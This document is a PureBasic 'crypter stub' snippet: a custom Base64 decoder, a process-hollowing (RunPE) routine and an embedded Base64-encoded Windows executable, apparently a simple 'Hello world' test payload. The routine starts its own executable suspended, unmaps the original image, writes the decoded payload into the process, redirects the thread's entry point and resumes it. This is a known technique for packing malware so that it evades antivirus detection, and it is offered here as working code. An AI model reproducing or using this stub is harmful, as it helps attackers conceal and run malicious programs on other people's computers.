PureBasic Crypter Stub | Snippet

Code:
Procedure.i Base64_Decode ( sInput.s )
   Static       Dim    cLockUp         .c ( 81 )
   Static              blInit          .i
   Protected           *ptrData        .CHARACTER    = @ sInput
   Protected           nSize           .i            = Len ( sInput ) + 1
   Protected           *ptrEnd                       = *ptrData + ( nSize * SizeOf ( CHARACTER ) )
   Protected           nValue          .b
   Protected           nPartSize       .f            = ( nSize - ( nSize / 3.333 ) ) * SizeOf ( CHARACTER ) 
   Protected           *ptrOutput      .BYTE         = AllocateMemory ( Int ( nPartSize ) )
   Protected           *ptrOutputStart               = *ptrOutput
   Protected    Dim    cInput          .a ( 4 )
   Protected    Dim    bOutput         .b ( 3 )
   Protected           nBlockSize      .i
   Protected           nI              .i
 
   If Not ( *ptrData )
      ProcedureReturn #Null
   EndIf

   If Not blInit
      blInit = #True
      
      CopyMemory ( @ "|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\]^_`abcdefghijklmnopq" , @ cLockUp ( 0 ) , 80 * SizeOf ( CHARACTER ) )
   EndIf
   
   While ( *ptrData < *ptrEnd )
      
      nBlockSize = 0
      
      For nI = 0 To 3
         If ( *ptrData < *ptrEnd )
            nValue = 0
            While ( *ptrData < *ptrEnd And Not nValue )
               nValue = *ptrData\c : *ptrData + SizeOf ( CHARACTER )
          
               If ( nValue < 43 Or nValue > 122 )
                  nValue = 0
               Else
                  nValue = cLockUp ( nValue - 43 )
               EndIf
                    
               If ( nValue = '$' )
                    nValue = 0 
               Else
                   nValue = nValue - 61
               EndIf
 
            Wend
             
            If ( *ptrData < *ptrEnd )
               nBlockSize + 1
       
               If ( nValue )
                  cInput ( nI ) = nValue - 1
               EndIf 
            EndIf               
         Else
            Break
         EndIf   
      
      Next nI
        
      If nBlockSize 
         bOutput ( 0 ) = ( cInput ( 0 ) << 2 | cInput ( 1 ) >> 4 ) 
         bOutput ( 1 ) = ( cInput ( 1 ) << 4 | cInput ( 2 ) >> 2 )
         bOutput ( 2 ) = ( ( ( cInput ( 2 ) << 6 ) & $C0 ) | cInput ( 3 ) )
         nI = 0
         
         While ( nI < ( nBlockSize - 1 ) )
            *ptrOutput\b = bOutput ( nI ) 
            *ptrOutput    + SizeOf ( BYTE )
            nI             + 1
         Wend
      EndIf
   Wend
   
   ProcedureReturn *ptrOutputStart
EndProcedure


Procedure SomeonePleaseDoMyTaxesForMe(sProc.s, lBuff)

  *idh.IMAGE_DOS_HEADER  = lBuff
  *ish.IMAGE_SECTION_HEADERS
  pi.PROCESS_INFORMATION
  *inh.IMAGE_NT_HEADERS
  si.STARTUPINFO
  lpBaseAddres.l
  Ctx.CONTEXT
  Addr.l
  ret.l
  i.l
  
  CreateProcess_(#NUL, sProc, #NUL, #NUL, #False, #CREATE_SUSPENDED, #NUL, #NUL, @si, @pi)
  Ctx\ContextFlags = #CONTEXT_INTEGER
  If GetThreadContext_(pi\hThread, Ctx) = 0      : Goto EndThread : EndIf
  
  ReadProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @Addr, 4, #NUL)
  If ZwUnmapViewOfSection_(Pi\hProcess, Addr)    : Goto EndThread : EndIf
  If lBuff = 0                                   : Goto EndThread : EndIf
  *inh = lBuff + *idh\e_lfanew
  
  lpBaseAddres = VirtualAllocEx_(pi\hProcess, *inh\OptionalHeader\ImageBase, *inh\OptionalHeader\SizeOfImage, #MEM_COMMIT | #MEM_RESERVE, #PAGE_EXECUTE_READWRITE)
  WriteProcessMemory_(pi\hProcess, lpBaseAddres, lBuff, *inh\OptionalHeader\SizeOfHeaders, @ret)
  *ish = *inh\OptionalHeader + *inh\FileHeader\SizeOfOptionalHeader
  
  For i = 0 To *inh\FileHeader\NumberOfSections - 1
    WriteProcessMemory_(pi\hProcess, lpBaseAddres + *ish\ish[i]\VirtualAddress, lBuff + *ish\ish[i]\PointerToRawData, *ish\ish[i]\SizeOfRawData, @ret)
  Next
  
  WriteProcessMemory_(pi\hProcess, Ctx\Ebx + 8, @lpBaseAddres, 4, #NUL)
  Ctx\Eax = lpBaseAddres + *inh\OptionalHeader\AddressOfEntryPoint
  SetThreadContext_(pi\hThread, Ctx)
  ResumeThread_(pi\hThread)
  End
  
  EndThread:
  TerminateProcess_(pi\hProcess, #NUL)
  CloseHandle_(pi\hThread)
  CloseHandle_(pi\hProcess)
EndProcedure

File.s = Space(1024)
GetModuleFileName_(0, File, 1024)

Restore Magnets
Read.s cloud.s
SomeonePleaseDoMyTaxesForMe(File, Base64_Decode(cloud))

DataSection
  Magnets:
  Data.s "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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQAKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/////wAAAAAAAQAAAAAA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"
  
EndDataSection